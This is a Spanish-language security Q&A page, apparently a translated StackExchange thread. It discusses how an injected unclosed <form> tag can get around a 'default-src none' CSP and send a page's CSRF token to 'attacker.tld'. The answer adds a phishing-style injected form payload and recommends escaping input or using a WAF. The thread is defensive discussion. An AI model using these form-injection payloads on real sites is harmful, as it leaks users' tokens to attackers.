Omitir política de seguridad de contenido: usar la etiqueta de formulario

1

Este artículo habla sobre eludir el CSP utilizando etiquetas de formulario.

Editar: Como se sugirió, se deben proporcionar detalles en caso de que el enlace externo deje de funcionar.

Así que aquí están los detalles:

Existe una política de seguridad de contenido y un parámetro vulnerable para XSS:

Content-Security-Policy: default-src ‘none’; 

<html>

<body>

<div>[Reflected XSS vulnerability here]</div>

<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>

<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />

<input type=”submit” value=”Subscribe to newsletter” />

</form>

</body>

</html> 

Así es como el autor intenta evitar el CSP:

Content-Security-Policy: default-src ‘none’; 

<html>

<body>

<div><form action=”http://attacker.tld”></div>

<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>

<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />

<input type=”submit” value=”Subscribe to newsletter” />

</form>

</body>

</html> 

Quiero saber, ¿hay alguna forma de implementar el CSP para detener el ataque anterior y evitar los tokens sensibles que se enviarán a un dominio externo?
O se debe hacer una codificación adecuada de caracteres especiales para detener esto.

    
pregunta one 30.05.2017 - 12:38
fuente

1 respuesta

4

La pregunta cambió entre :)

En este caso, no está claro cómo enviar el formulario malicioso. Para que funcione, debes inyectar algo como:

<form method="post" target="abc"><form method="post" target="evil"><input type="submit" value="Click me to win new iPhone" />
<input type="hidden" name="..." value="...">.....

y haga que el usuario haga clic en el botón de alguna manera (ya que no hay opción para enviar automáticamente). También puedo ver la posibilidad de ocultar el botón original utilizando el CSS y reemplazándolo con su botón.

Usted pregunta cómo protegerse contra esto. Puedo ver dos opciones:

  1. arregle el código del servidor para validar / evitar la entrada del usuario correctamente
  2. coloque el firewall de la aplicación frente al servidor web y filtre todas las inyecciones allí

En ambos casos, diría que reemplazar (escapar) de < con & amplt; y > con & ampgt; para todos los parámetros de entrada funcionaría en tal caso.

como @Arminius dijo correctamente que no hay forma de configurar CSP contra esto.

    
respondido por el Fis 30.05.2017 - 13:18
fuente

Lea otras preguntas en las etiquetas